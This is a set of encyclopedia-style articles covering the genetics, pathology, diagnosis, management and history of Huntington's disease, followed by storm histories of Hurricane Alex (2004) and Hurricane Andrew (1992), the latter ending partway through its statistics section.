          The gene involved in Huntington's disease, called Huntingtin (Htt), or Interesting Transcript 15 (IT15) gene, known historically as the HD gene, is located on the short arm of chromosome 4 (4p16.3). In the first part, called the 5' end of the gene, is a sequence of three DNA bases cytosine- adenine- guanine (CAG) repeated multiple times (i.e. ...CAGCAGCAG...) and known as a trinucleotide repeat. CAG is the genetic code for the amino acid glutamine; thus a series of CAG forms a chain of glutamine known as polyglutamine (polyQ).


          
            
              	Effect

              	classification

              	repeat count
            


            
              	unaffected

              	normal

              	< 27
            


            
              	

              	intermediate

              	27 - 35
            


            
              	affected

              	Reduced Penetrance

              	36 - 39
            


            
              	

              	Full Penetrance

              	> 39
            

          


          A polyQ length of less than 36 glutamines produces a cytoplasmic protein called huntingtin protein (Htt), whereas a sequence of 36 or more produces an erroneous form of Htt, mHtt (standing for mutant Htt), this causes certain neurons, in select areas of the brain, to have an increased mortality. As the number of neurons reduces in these areas their functionality is impaired. Generally, the number of CAG repeats is related to the rate that these neurons die, affecting the age at onset and progression of symptoms. Counts of 36-39 repeats result in later onset and slower progression of symptoms termed "reduced penetrance". No case of HD has been diagnosed with a count of less than 36.


          


          Inheritance


          
            [image: HD is inherited in an autosomal dominant fashion.]

            
              HD is inherited in an autosomal dominant fashion.
            

          


          Huntington's disease is autosomal dominant, needing only one affected allele from either parent to inherit the disease. Although this generally means there is a one in two chance of inheriting the disorder from an affected parent, the inheritance of HD is more complex due to potential dynamic mutations, where DNA replication doesn't produce an exact copy of itself. This can cause the number of repeats to change in successive generations. This can mean that a parent with a count close to the threshold, may pass on a gene with a count either side of the threshold. Repeat counts maternally inherited are usually similar, whereas paternally inherited ones tend to increase. This potential increase in repeats in successive generations is known as anticipation.


          In families where neither parent has HD, new mutations account for truly sporadic cases of the disease. The frequency of these de novo mutations is extremely low.,


          Homozygous individuals, who carry two mutated genes because both parents passed on one, are rare. While HD seemed to be the first disease for which homozygotes did not differ in clinical expression or course from typical heterozygotes, more recent analysis suggest that homozygosity affects the phenotype and the rate of disease progression though it does not alter the age of onset suggesting that the mechanisms underlying the onset and the progression are different.


          


          Mechanism


          Like all proteins, Htt and mHtt are translated, perform or affect biological functioning, and are finally dissolved in a process called biodegradation. The exact role mHtt has in DNA replication and its influence in programmed cell death is unknown. Research focuses on identifying the functioning of Htt, how mHtt differs or interferes with it, and the proteopathy of remnants of mHtt, left after biodegradation.


          


          Function


          The Htt protein is involved in vesicle trafficking as it interacts with HIT1, a clathrin binding protein, to mediate endocytosis, the absorption of materials into a cell.


          The mHtt protein reduces the production of brain-derived neurotrophic factor (BDNF). BDNF protects neurons and regulates the neurogenesis of new ones. The precise way it does this is unknown but a reduction in its level increases neuron cell death and creation, leading to atrophy of areas of the brain.


          


          Degradation


          Both Htt and mHtt are cleaved (the first step in degradation) by caspase-3, which removes the protein's amino end (the N-terminal). Caspase-2 then further breaks down the amino terminal fragment (the part with the CAG repeat) of Htt, but cannot process all of the mHtt protein. The unprocessed pieces left in the cell are called aggregates, or N-fragments, and are able to affect genetic transcription. Specifically, mHtt binds with TAFII130, a coactivator to CREB dependent transcription. The aggregates also interact with the transcription factor protein SP1, preventing it from binding to DNA.


          In transgenic mice neurodegeneration caused by mHtt is related to the caspase-6 enzyme cleaving the Htt protein, as they did not show effects of HD in experiments.


          In genetically altered "knockin" mice, the extended CAG repeat portion of the gene is all that is needed to cause disease. Aggregates of mHtt are present in the brains of people and mice with HD, and are most prevalent in cortical pyramidal neurons, less so in striatal medium-sized spiny neurons and almost absent in most other brain regions including the hippocampus and cerebellum. These aggregates consist mainly of the amino terminal end of mHtt (CAG repeat), and are found in both the cytoplasm and nucleus of neurons. The presence of these aggregates however does not correlate with cell death. Thus mHtt acts in the nucleus but does not cause apoptosis through aggregation.


          


          Pathophysiology


          


          Brain


          Studies on physiopathology are mainly focused on the brain since most symptoms are caused by its altered functioning.


          Profound neuronal degeneration in the striatum with some additional atrophy of the frontal and temporal cortices. There is also astrogliosis and loss of medium spiny neurons.


          The brain initiates motion by sending a signal down the spinal cord from the external globus pallidus. At the same time that the stimulus is being sent down the spinal cord, the subthalamic nuclei of the striatum excite the internal globus pallidus, which inhibits the thalamus and modulates motion.


          In Huntington's disease the external globus pallidus over-inhibits the flow of excitation from the subthalamic nuclei, which interferes with the initiation of motion. The subthalamic nuclei also generate reduced excitation to the internal globus pallidus, resulting in a weak inhibitory signal to the thalamus. The thalamus in turn then sends a strong excitatory signal to the putamen resulting in unmodulated motion.


          


          Other systems


          Huntington's disease appears to affect non nervous physiological functions. One study in humans highlighted a systemic, early hypermetabolic state and a lower level of branched chain amino acids in the plasma as the disease progresses; this seems to originate from the brain's own need for energetic substrates.


          In a murine model, heart restricted expression of amyloid-forming polyglutamine fragments resulted in heart failure.


          


          Diagnosis


          To determine whether initial symptoms are evident, a physical and/or psychological examination is required. The uncontrollable movements are often the symptoms which cause initial alarm and lead to diagnosis; however, the disease may begin with cognitive or emotional symptoms, which are not always recognized. Pre-symptomatic testing is possible by means of a blood test which counts the number of repetitions in the gene.


          A negative blood test means that the individual does not carry the expanded copy of the gene, will never develop symptoms, and cannot pass it on to children. A positive blood test means that the individual does carry the expanded copy of the gene, will develop the disease, and has a 50% chance of passing it on to children. A pre-symptomatic positive blood test is not considered a diagnosis, because it may be decades before onset.


          Because of the ramifications on the life of an at-risk individual, with no cure for the disease and no proven way of slowing it, several counseling sessions are usually required before the blood test. Unless a child shows significant symptoms or is sexually active or considered to be Gillick competent, children under eighteen will not be tested. The members of the Huntington's Disease Society of America strongly encourage these restrictions in their testing protocol. A pre-symptomatic test is a life-changing event and a very personal decision. Embryonic screening is also possible, giving HD carriers or at-risk individuals the option of ensuring their children will not inherit the disease if abortion is acceptable to them. It is possible to test an embryo either in the womb ( prenatal diagnosis) or to ensure a child will not have HD by utilising in vitro fertilisation and testing before implantation.


          A full pathological diagnosis can only be established by a neurological examination's findings and/or demonstration of cell loss in the areas affected by HD, supported by a cranial CT or MRI scan findings.


          


          Management


          There is no treatment to fully arrest the progression of the disease, but symptoms can be reduced or alleviated through the use of medication and care methods. Huntington mice models exposed to better husbandry techniques, especially better access to food and water, lived much longer than mice that were not well cared for.


          


          Medication


          Other standard treatments to alleviate emotional symptoms include the use of antidepressants and sedatives, with antipsychotics (in low doses) for psychotic symptoms.


          


          Therapies


          Speech therapy helps by improving speech and swallowing methods; this therapy is more effective if started early on, as the ability to learn is reduced as the disease progresses. A two-year pilot study, of intensive speech, pyschiatric and physical therapy, applied to inpatient rehabilitation, showed motor decline was greatly reduced.


          


          Nutrition


          Nutrition is an important part of treatment; most third and fourth stage HD sufferers need two to three times the calories of the average person to maintain body weight. Healthier foods in pre-symptomatic and earlier stages may slow down the onset and progression of the disease. High calorie intake in pre-symptomatic and earlier stages has been shown to speed up the onset and reduce IQ level.


          Thickening agent can be added to drinks as swallowing becomes more difficult, as thicker fluids are easier and safer to swallow. The option of using a stomach PEG is available when eating becomes too hazardous or uncomfortable; this greatly reduces the chances of aspiration of food, and the subsequent increased risk of pneumonia, and increases the amount of nutrients and calories that can be ingested.


          EPA, an Omega-3 fatty acid, may slow and possibly reverse the progression of the disease. As of April 2008, it is in FDA clinical trial as ethyl-EPA, (brand name Miraxion), for prescription use. Clinical trials utilise 2grams per day of EPA. In the United States, it is available over the counter in lower concentrations in Omega-3 and fish oil supplements. Results of the first Phase III trial showed an improvement in motor function scores over the control group, but a larger trial is required before these results can be considered conclusive.


          


          Prognosis


          Development of Huntingtons disease is highly dependent on how many times CAG is repeated. Usually, CAG is repeated between 7 and 35 times; more than this, however, will cause the disease. The age of onset (and to a degree the severity of the disease), and hence the age at death, are inversely correlated with the length of the expanded CAG repeat, such that those with longer repeats develop the disease earlier. Individuals with greater than approximately 60 CAG repeats often develop juvenile Huntington's disease. There is a large variation in age of onset for any given CAG repeat length within the intermediate range (40-50 CAGs). For example, a repeat length of 40 CAGs leads to an onset ranging from 40 to 70 years of age in the North American and Canadian population. This variation means that, although logarithmic algorithms have been proposed for predicting the age of onset, in reality predicting the precise age of onset can be generalised, but not precisely predicted with confidence.


          Following the onset of obvious physical diagnosis of the disorder, life expectancy is generally a further 15 to 20 years. Mortality is not caused by Huntingtons disease directly, but by associated complications, these include pneumonia (which causes one third of fatalities), heart failure (although heart disease, cerebrovascular disease and atherosclerosis show no increase), choking and nutritional deficiencies. Suicide is an associated risk, with suicide rates of up to 7.3 percent; four times that of the general population. Suicide, in general, is likely to be underestimated; reports, which have accounted for this, estimate up to 27 percent of possibly affected individuals attempt suicide.


          


          Social impact


          Whether or not to have the test for HD Genetic counseling may provide perspective for those at risk of the disease. Some choose not to undergo HD testing due to numerous concerns (for example, insurability). Testing of a descendant of a person, who is 'at-risk', has serious ethical implications as a positive result automatically diagnoses one of the parents.


          Parents and grandparents have to decide when and how to tell their children and grandchildren. The issue of disclosure also comes up when siblings are diagnosed with the disease, and especially in the case of identical twins.


          For those at risk, or known to have the disease, consideration is necessary prior to having children due to the genetically dominant nature of the disease. In vitro and embryonic genetic screening make it possible to ensure the gene is not passed on with high accuracy.


          Huntington's disease was one of the targets of the eugenics movement, for example the American scientist Charles Davenport proposed in 1910 that compulsory sterilization and immigration control be used for people with certain disease, including HD.


          Financial institutions are also faced with the question of whether to use genetic testing results when assessing an individual, e.g. for life insurance. Some countries' organisations have already agreed not to use this information.


          


          Epidemiology


          As HD is autosomal dominant, and does not usually affect reproduction, areas of increased prevalence occur according to historical migration of carriers, some of which can be traced back thousands of years using the genes haplotypes. New mutations are less than 10 percent of HD carriers, but account for the less localised occurrences, and origins, of the disorder.


          Since the discovery of a genetic test that can also be used pre-symptomatically, estimates of the incidence of the disorder are likely to increase. This is because, without the genetic test, only individuals displaying physical symptoms and a few neurologically examined cases were diagnosed, which excluded anyone who died of other causes before diagnosis. These cases can now be included in statistics as the test becomes more widely available.


          The prevalence is, on average, between 3 to 7 per 100,000 people of Western European descent, down to 1 per 1,000,000 of Asian and African descent, but this varies greatly according to geographical location, both by ethnicity and local migration. The highest occurrence is in peoples of Western Europe descent, and relatively lower in the rest of the world. For example the isolated populations of the Lake Maracaibo region of Venezuela ( where the marker for the gene was discovered ), have an extremely high prevalence of up to 700 per 100,000, leading to the conclusion that one of their initial founders must have been a carrier of the gene. This is known as the local founder effect.


          About 7 percent of HD cases occur in people under the age of 20 years. This is referred to as Juvenile HD, "akinetic-rigid", or "Westphal variant" HD.


          


          History


          In the first part of the twentieth century and earlier, many people with HD were misdiagnosed as suffering from alcoholism or manic depression. Previously mortality due to starvation or dehydration was a major risk.


          
            	c. 300: Along with other conditions with abnormal movements, it may have been referred to as St Vitus' dance. St Vitus is the patron saint of epileptics who was martyred in 303.


            	Middle Ages: People with the condition were probably persecuted as being witches or as being possessed by spirits, and were shunned, exiled or worse. Some speculate that the "witches" in the Salem Witch Trials in 1692 had HD.


            	1860: One of the early medical descriptions of HD was made in 1860 by a Norwegian district physician, Johan Christian Lund. He noted that in Setesdalen, a remote and rather secluded area, there was a high prevalence of dementia associated with a pattern of jerking movement disorders that tended to run in families. This is the reason for the disease being commonly referred to as Setesdalsrykkja (Setesdalen=the location, rykkja=jerking movements) in Norwegian.


            	1872: George Huntington was the third generation of a family medical practice in Long Island. With their combined experience of several generations of a family with the same symptoms, he realised their conditions were linked and set about describing it. A year after leaving medical school, in 1872, he presented his accurate definition of the disease to a medical society in Middleport, Ohio.


            	c. 1923: Smith Ely Jelliffe (18661945) and Frederick Tilney (18751938) began analyzing the history of HD sufferers in New England.


            	1932: P. R. Vessie expanded Jelliffe and Tilney's work, tracing about a thousand people with HD back to two brothers and their families who left Bures in Essex for Suffolk bound for Boston in 1630.


            	1979: The U.S-Venezuela Huntington's Disease Collaborative Research Project began an extensive study which gave the basis for the gene to be discovered. This was conducted in the small and isolated Venezuelan fishing villages of Barranquitas and Lagunetas. Families there have a high presence of the disease.


            	1983: James Gusella, David Housman, P. Michael Conneally, Nancy Wexler, and their colleagues find the general location of the gene, using DNA marking methods for the first time  an important first step toward the Human Genome Project.


            	1992: Anita Harding, et al., find that trinucleotide repeats affect disease severity


            	1993: The Huntington's Disease Collaborative Research Group isolates the precise gene at 4p16.3.


            	1996: A transgenic mouse ( the R6 line) was created that could be made to exhibit HD, greatly advancing how much experimentation can be achieved.


            	1997: DiFiglia M, Sapp E, Chase KO, et al., discover that mHtt aggregates ( misfolds) to form nuclear inclusions.


            	The full record of research is extensive.

          


          


          Society and culture


          As public awareness has increased, HD has been depicted increasingly in numerous books, films and TV series. Early works were Arlo Guthrie's 1969 film Alice's Restaurant and Jacqueline Susann's 1966 American novel Valley of the Dolls , with more recent references in ER, Private Practice, Everwood, All Saints, and House. As of 2008, June 6th is designated "National Huntington's Disease Awareness Day" by the USA senate, and the UK HDA holds an awareness week the third week of June.


          


          Organizations


          
            	1967: Woody Guthrie's wife, Marjorie, helped found the Committee to Combat Huntington's Disease, after his death from HD complications. This eventually became the Huntington's Disease Society of America. Since then, lay organizations have been formed in many countries around the world.


            	1968: After experiencing HD in his wife's family Dr. Milton Wexler was inspired to start the Hereditary Disease Foundation (HDF). Professor Nancy S. Wexler, Dr. Wexler's daughter, was in the research team in Venezuela and is now president of the HDF.


            	1974: The first international meeting took place when the founders of the Canadian HD Society (Ralph Walker) and of the British HD Society (Mauveen Jones) attended the annual meeting of the American HD Society.


            	1977: second meeting organized by the Dutch Huntington Society the "Vereniging van Huntington", representatives of six countries were present.


            	1979: International Huntington Association (IHA) formed during international meeting in Oxford, England organized by HDA of England.


            	19812001: Biennial meetings held by IHA which became the World Congress on HD.


            	2003: The first World Congress on Huntington's Disease was held in Toronto. This is a biennial meeting for associations and researchers to share ideas and research, which is held on odd-number years. The Euro-HD Network was started as part of the Huntington Project, funded by the High-Q Foundation.

          


          


          Research directions


          Appropriate animal models are critical for understanding the fundamental mechanisms causing the disease and for supporting the early steps of drug development before moving on to human clinical trials. Neurochemically induced mice or monkeys were first available , but they could not mimick the progressive features of the disease. After the HD gene was discovered, transgenic animals exhibiting HD were generated by inserting a CAG repeat expansion into the genome of mice (strain R6/2 ), Drosophila fruit flies, or more recently in monkeys. Expression without insertion of a CAG repeat in nematode worms also produced a valuable model.


          As for humans, there are trials of various compounds that are in development, recruiting volunteers, in progress or completed. Some of these trials are at the point of testing on larger numbers of people, known as phase III of the clinical trials.


          


          Intrabody therapy


          Genetically engineered antibody fragments called intrabodies have shown therapeutic results against mHtt aggregates in drosophila models. This was achieved using an intrabody called C4 sFv, a single chain variable fragment which binds to the end of mHtt within a cell. C4 sFv has been shown to reduce mHtt aggregate formation and accumulation in cultures of tissue taken from the model. The intrabody increased larval and pupal survival from 23% to 100% and delayed neurodegeneration in the adult, significantly increasing their lifespan. Intrabody therapy shows promise as a tool for drug discovery, and as a potential therapy for neurodegenerative disorders caused by protein mis-folding or abnormal protein interactions.


          


          Gene silencing


          Since HD has been conclusively linked to a single gene, gene silencing could be simpler than with multiple-gene disorders. Researchers have investigated using gene knockdown of mHtt as a potential treatment. Using a mouse model, siRNA therapy achieved a 60 percent reduction in expression of the mHtt and progression of the disease was stalled. However, this study used the human form of the Htt gene in the mouse, and were therefore able to directly target the mHtt gene, leaving endogenous, wild-type Htt gene expression unaffected. Since no single nucleotide polymorphisms have yet been discovered in mHtt it would be impossible, using siRNA, to distinguish between wild-type and mutant forms of the gene. The precise function of Htt is unknown, but the htt knockout mutation is lethal and kills mice during emryogenesis. Thus, using RNA interference to knockout both wild-type and mutant htt could have unforeseen, unfavourable consequences. Other issues associated with siRNA therapy are delivering the gene, off-target effects of siRNA, and toxicity from shRNA over-expression.


          In another study, mouse models in late stages of the disease recovered motor function after expression of mHtt was shut down.


          


          Stem cell implants


          Treatment using stem cell implants is based on the replacement of damaged neurons by injecting stem cells, which can form themselves into specialized cells, into the damaged area. The stem cell then transforms itself into a replacement neuron. If enough damaged neurons are replaced, symptoms should be alleviated. This treatment would not prevent further neuronal damage, so would be an ongoing treatment. The treatment has yielded some positive results in animal models.


          


          Pharmacological


          Other agents and measures that have shown promise in initial experiments include dopamine receptor blockers, select dopamine antagonists, such as tetrabenazine, creatine, CoQ10, the antibiotic Minocycline, antioxidant-containing foods and nutrients, and antidepressants, including selective serotonin reuptake inhibitors ( SSRIs) such as sertraline, fluoxetine, and paroxetine.
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                Satellite image of Hurricane Alex leaving the Outer Banks of North Carolina on August 4
                

              
            


            
              	Formed

              	July 31, 2004
            


            
              	Dissipated

              	August 6, 2004
            


            
              	Highest

              winds

              	
                
                  
                    	120 mph (195 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	957 mbar ( hPa; 28.27 inHg)
            


            
              	Fatalities

              	1 direct
            


            
              	Damage

              	$7.5million (2004USD)

              $8.56million (2008USD)
            


            
              	Areas

              affected

              	Outer Banks of North Carolina
            


            
              	Part of the

              2004 Atlantic hurricane season
            

          


          Hurricane Alex was the first named storm, the first hurricane, and the first major hurricane of the 2004 Atlantic hurricane season. The first storm of the season, Alex formed unusually late in the season; the fifth latest since 1954. It developed from the interaction between an upper-level low and a weak surface trough on July 31 to the east of Jacksonville, Florida. It moved northeastward, and strengthened to attain winds of 100mph (160km/h) before passing within 10miles (16km) of the Outer Banks coast. Alex strengthened further and reached a peak of 120mph (190km/h) winds while off the coast of New England, one of only two hurricanes to reach Category 3 status north of 38N.


          The hurricane produced light damage in the Outer Banks, primarily from flooding and high winds. Over 100houses were damaged, while numerous cars were disabled from the flooding. Damage totaled about $7.5million (2004USD). Alex produced strong waves and rip tides along the East Coast of the United States, causing one death and several injuries.


          


          Storm history
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              Storm path
            

          


          A weak surface trough, located to the west of an upper-level low, developed convection to the east of the Bahamas on July 26. A tropical wave entered the area two days later, resulting in an increase of convective organization and area. Although conditions were not favorable for tropical cyclone formation, it sped to the northwest and steadily organized, developing a surface area of low pressure on the 30th. On July 31, the system continued to organize, and developed into Tropical Depression One while located 200miles (320km) to the east of Jacksonville, Florida.


          As the depression drifted erratically, the system remained weak due to its large circulation and lack of deep convection near the centre. The centre relocated to the south, closer to the centre. An approaching upper-level trough lessened the shear over the system, allowing the depression to intensify into Tropical Storm Alex on August 1. The trough also caused Alex to increase its forward motion to the northeast. Deep convection continued to build over the centre due to low shear and warm waters from the Gulf Stream, and Alex intensified into a hurricane on August 3 while located 75miles (120km) southeast of Cape Fear, North Carolina. The cyclone continued to strengthen, and attained Category 2 status just hours after becoming a hurricane. The hurricane approached the Outer Banks of North Carolina, coming within 10miles (16km) of Cape Hatteras later on the 3rd. The western portion of the eyewall passed over the Outer Banks, though the centre remained offshore.
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              Radar image of Hurricane Alex.
            

          


          Alex turned to the east-northeast after passing the Outer Banks in response to becoming embedded within the west-southwesterly flow. The hurricane briefly weakened to a Category 1, but restrengthened due to warm waters of the Gulf Stream. Water temperatures remained 36F (2C) above normal, resulting in Alex intensifying into a 120mph (195km/h) major hurricane on August 5 while located 450 miles (710 km) south of Halifax, Nova Scotia. Due to low vertical shear and favorable conditions, Alex remained a Category 3 hurricane until passing over cooler waters late on the 5th while 290miles (465km) south of Newfoundland. Alex rapidly weakened, degrading into tropical storm status on August 6. Later on the 6th, Alex became extratropical while 950miles (1530km) east of Cape Race, Newfoundland, and lost its identity shortly thereafter.


          


          Preparations


          Initially, forecasters believed Alex would remain weak, and on the first advisory the storm was predicted to make landfall as a minimal tropical storm. However, when strengthening became evident, the National Hurricane Centre issued a hurricane warning from Cape Lookout to Oregon Inlet about 20hours before hurricane conditions were experienced. In addition, a tropical storm warning existed for much of the North Carolina coastline as Alex paralleled the state.


          Despite Tropical Storm Warnings, 3,500tourists remained on the Outer Banks, though many planned to leave if Alex were to track closer or become stronger. No evacuations were ordered. Officials recommended residents to take precautions for the approaching hurricane. The National Weather Service in Morehead City issued a flash flood watch a day before the hurricane moved passed the Outer Banks. The service also issued flash flooding warnings for Craven and Carteret Counties on the day of the hurricane's closest approach. In preparation for the hurricane, the Cape Lookout National Seashore was closed and evacuated. The National Park Service also closed Cape Point Campground.


          


          Impact
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              Alex rainfall totals
            

          


          While drifting off the coast of Florida, Alex produced rip currents and strong waves along the North Carolina resulting in nine lifeguard rescues from the surf. Upon moving by the Outer Banks, a storm surge of up to 6feet (1.8m) occurred on the Pamlico Sound side of Buxton and Ocracoke Village. The flooding on Ocracoke Island was the worst since Hurricane Gloria nineteen years earlier. Elsewhere on the Outer Banks, waters rose 24feet (0.61.2m) above normal. Rainfall directly along the coast amounted to over 5inches (127mm), while Okracoke experienced 7.55inches (192mm). Maximum sustained winds peaked at 77mph (124km/h), and gusts peaked at 105mph (169km/h) in Hatteras Village. Beach erosion was minor along much of North Carolina's coastline, with the exception of Okracoke Island where erosion was significant.


          Cape Fear experienced minor beach erosion. The erosion, combined with high waves, washed out a portion of a roadway. The heavy rainfall in the Outer Banks disabled over 200cars and flooded nearly 500. Strong wind gusts left around 10,000buildings without power. Many places were not restored for two to three days after the storm. Wind and storm surge damaged over 100houses and buildings. Damage amounted to about $7.5million (2004USD). Two days after the storm passed, a man drowned off of Nags Head from strong rip currents and waves. This was the only direct casualty from the storm.


          Alex's outer rainbands produced heavy rainfall across Virginia, peaking at over 7inches (178mm) in the centre of the state. The rainfall caused localized flooding, but there was no reported damage in the state. In Rehoboth Beach, Delaware, rip currents produced by the storm injured three people. A few young children had to be rescued when they were trapped by a jetty. In New Jersey, the strong surf and rip currents hospitalized at least five swimmers.


          Alex's extratropical remnants sank the Pink Lady, a rowboat carrying four British rowers attempting to break the record for fastest crossing from St. John's, Newfoundland to Falmouth, Cornwall. They were rescued by a Danish cargo ship, and injuries were limited to a mild concussion and a case of hypothermia. The rowers were roughly two weeks and 370miles (595km) from their destination. The group had been on track to break the 1896 record of 54days by 10days.


          


          Aftermath and records
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              Category 3 Hurricane Alex north of 40 North
            

          


          On Ocracoke Island, officials ordered for the evacuation of the thousands of tourists who stayed, believing that keeping tourists on the island would hinder cleanup efforts. The tourists were evacuated in school buses to Hatteras Island, where they could rent a car if needed. The island was re-opened to visitors on August 6, three days after the storm passed through. Dare County officials requested aid from the National Guard for the cleanup process. The North Carolina Department of Transportation was ready to clear the roads once the storm exited the area.


          Alex marked the fifth-latest start to a hurricane season since 1954. The latest start to a hurricane season since 1954 was Hurricane Anita of the 1977 season, forming on August 29. Alex is only the second hurricane on record to have reached Category 3 strength north of 38N latitude. The other storm was Hurricane Ellen in the 1973 Atlantic hurricane season; Alex was the stronger of the two.


          Due to the low damage, the name Alex was not retired and is scheduled to be used next in 2010.
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                Hurricane Andrew approaching the Bahamas and Florida as a Category 5 hurricane
                

              
            


            
              	Formed

              	August 16, 1992
            


            
              	Dissipated

              	August 28, 1992
            


            
              	Highest

              winds

              	
                
                  
                    	175 mph (280 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	922 mbar ( hPa; 27.24 inHg)
            


            
              	Fatalities

              	26direct, 39indirect
            


            
              	Damage

              	$26.5billion (1992USD)

              $40.7billion (2008USD)
            


            
              	Areas

              affected

              	Bahamas; South Florida, Louisiana, and other areas of the Southern United States
            


            
              	Part of the

              1992 Atlantic hurricane season
            

          


          Hurricane Andrew is the second-most-destructive hurricane in U.S. history, and the last of three Category 5 hurricanes that made U.S. landfall during the 20th century, after the Labor Day Hurricane of 1935 and Hurricane Camille in 1969. Andrew caused 65 deaths.


          The first named storm of the 1992 Atlantic hurricane season, Andrew struck the northwestern Bahamas, southern Florida at Homestead (south of Miami), and southwest Louisiana around Morgan City in August. Andrew caused $26.5 billion in damage ($38.1 billion in 2006 US dollars), with most of that damage cost in south Florida. Its central pressure ranks as fourth-lowest in U.S. landfall records and Andrew was the costliest natural disaster in U.S. history until surpassed by Hurricane Katrina of the 2005 season.


          


          Storm history
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              Infrared image of Andrew making landfall in Florida
            

          


          A tropical wave moved off the coast of Africa on August 14. Under the influence of a ridge of high pressure to its north, the wave tracked quickly westward. An area of convection developed along the wave axis to the south of the Cape Verde islands, and on August 15 meteorologists began classifying the system with the Dvorak technique. The thunderstorm activity became more concentrated, and narrow spiral rainbands developed around a developing centre of circulation. Based on a Dvorak T-number of 2.0, it is estimated Tropical Depression Three developed late on August 16 about 1630miles (2625km) eastsoutheast of Barbados.


          Embedded within the deep easterlies, the depression tracked westnorthwestward at 20mph (33km/h). Initially, moderate wind shear prevented strengthening, though a decrease in shear allowed the depression to intensify into Tropical Storm Andrew at around 1200 UTC on August 17. By early on August 18, the storm maintained concentrated convection near the centre with spiral bands to its west as the winds increased to 50mph (85km/h). Shortly thereafter the thunderstorms decreased markedly during the diurnal minimum, and as the storm turned to the northwest increased southwesterly wind shear from an upper-level low prevented Andrew from maintaining deep convection. On August 19, a Hurricane Hunters flight into the storm failed to locate a well-defined centre, and the next day a flight found that the cyclone had degenerated to the extent that only a diffuse low-level circulation centre remained; observations indicated the pressure rose to an unusually high 1015 mbar. The flight indicated Andrew maintained a vigorous circulation aloft, with winds of 80mph (130km/h) recorded at flight level. Subsequently, the upper-level low weakened and split into a trough, which decreased the wind shear over the storm. Simultaneously, a strong high pressure cell developed over the southeastern United States, which built eastward and caused Andrew to turn to the west. Convection became more organized as upper-level outflow became better established. An eye formed, and Andrew attained hurricane status early on August 22 while located about 650miles (1040km) eastsoutheast of Nassau, Bahamas.


          Six hours after becoming a hurricane, Andrew was predicted to make landfall near Jupiter, Florida with winds of 105mph (165km/h). The hurricane accelerated as it tracked due westward into an area of very favorable conditions, and late on August 22 began rapidly intensifying; in a 24hour period the pressure dropped 47 mbar to a minimum pressure of 922mbar. On August 23 the cyclone attained Category 5 status on the Saffir-Simpson Hurricane Scale, and at 1800UTC Hurricane Andrew reached peak winds of 175mph (280km/h) while located a short distance off Eleuthera island in the Bahamas. Operationally, the National Hurricane Centre assessed its peak intensity as 150mph (240km/h), which was upgraded to 155mph (250km/h) in post-analysis; the hurricane was re-classified as a Category 5 hurricane twelve years subsequent to the hurricane. A small tropical cyclone, winds of 35mph (55km/h) extended out only about 90miles (150km/h) from its centre. Subsequent to peaking in intensity, the hurricane underwent an eyewall replacement cycle, and at 2100UTC on August 23, Hurricane Andrew struck Eleuthera with winds of 160mph (260km/h). The cyclone weakened further while crossing the Bahama Banks, and at 0100UTC on August 24 Andrew hit the southern Berry Islands of the Bahamas with winds of 150mph (240km/h). As it crossed over the warm waters of the Gulf Stream in the Straits of Florida, the hurricane rapidly re-intensified as the eye decreased in size and its eyewall convection deepened. At 0840UTC on August 24, Andrew struck Elliott Key with winds of 165mph (270km/h) and a pressure of 926mbar. The hurricane continued to strengthen up to and slightly after landfall, and 25minutes after its first Florida landfall Andrew hit near Homestead with a slightly lower pressure and the same winds.
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              Satellite image of Hurricane Andrew approaching Louisiana
            

          


          As the eye moved onshore, the convection in the eyewall strengthened owing to increased convergence, and Hurricane Hunters reported a warmer eyewall temperature than two hours prior. However, Hurricane Andrew weakened as the eye continued further inland, and after crossing southern Florida in four hours, the eye emerged into the Gulf of Mexico with winds of 135mph (215km/h). The eye remained well-defined as the hurricane turned to the westnorthwest, a change due to the weakening of the ridge to its north. Andrew steadily re-intensified over the Gulf of Mexico, reaching winds of 145mph (235km/h) by late on August 25. As the high pressure system to its north weakened, a strong mid-latitude trough approached the area from the northwest. This caused the hurricane to decelerate to the northwest, and winds decreased as Andrew approached the Gulf Coast of the United States. At 0830UTC on August 26 the cyclone made its final landfall in a sparsely populated area of Louisiana about 20miles (32km) westsouthwest of Morgan City with winds of 115mph (185km/h). Hurricane Andrew weakened rapidly as it turned to the north and northeast, and within ten hours weakened to a tropical storm. After entering Mississippi, the cyclone deteriorated to tropical depression status early on August 27. Accelerating northeastward, the tropical depression began merging with the approaching frontal system, and by midday on August 28 Andrew ceased to meet the qualifications of a tropical cyclone while located over the southern Appalachian Mountains. The remnants continued to the northeast and lost its identity within the frontal zone over the Mid-Atlantic states.


          


          Statistics


          


          
            
              Most intense landfalling U.S. hurricanes

              Intensity is measured solely by central pressure
            

            
              	Rank

              	Hurricane

              	Season

              	Landfall pressure
            


            
              	1

              	"Labor Day"

              	1935

              	892 mbar ( hPa)
            


            
              	2

              	Camille

              	1969

              	909 mbar (hPa)
            


            
              	3

              	Katrina

              	2005

              	920 mbar (hPa)
            


            
              	4

              	Andrew

              	1992

              	922 mbar (hPa)
            


            
              	5

              	"Indianola"

              	1886

              	925 mbar (hPa)
            


            
              	6

              	"Florida Keys"

              	1919

              	927 mbar (hPa)
            


            
              	7

              	"Okeechobee"

              	1928

              	929 mbar (hPa)
            


            
              	8

              	Donna

              	1960

              	930 mbar (hPa)
            


            
              	9

              	Carla

              	1961

              	931 mbar (hPa)
            


            
              	10

              	Hugo

              	1989

              	934 mbar (hPa)
            


            
              	Source: National Hurricane Centre
            

          


          Reports from private barometers helped establish that Andrew's central pressure, at landfall near Homestead, Florida, was 27.23 inches (922 hPa). At the time, this was the third-lowest pressure on record for a landfalling hurricane in the United States (it is now fourth, after 2005's Hurricane Katrina).


          Andrew's peak winds in South Florida were not directly measured, primarily because of the destruction or failure of measuring instruments. The Coastal Marine Automated Network (C-MAN) station at Fowey Rocks, with platform elevation of 141 ft (43 m), in its last transmission at 4:00 a.m. EDT, August 24, recorded an 8-minute average wind of 142 mph (228 km/h) with a peak gust of 169 mph (272 km/h) shortly before the equipment was destroyed. It is probable that higher winds occurred at Fowey Rocks after the station was destroyed.


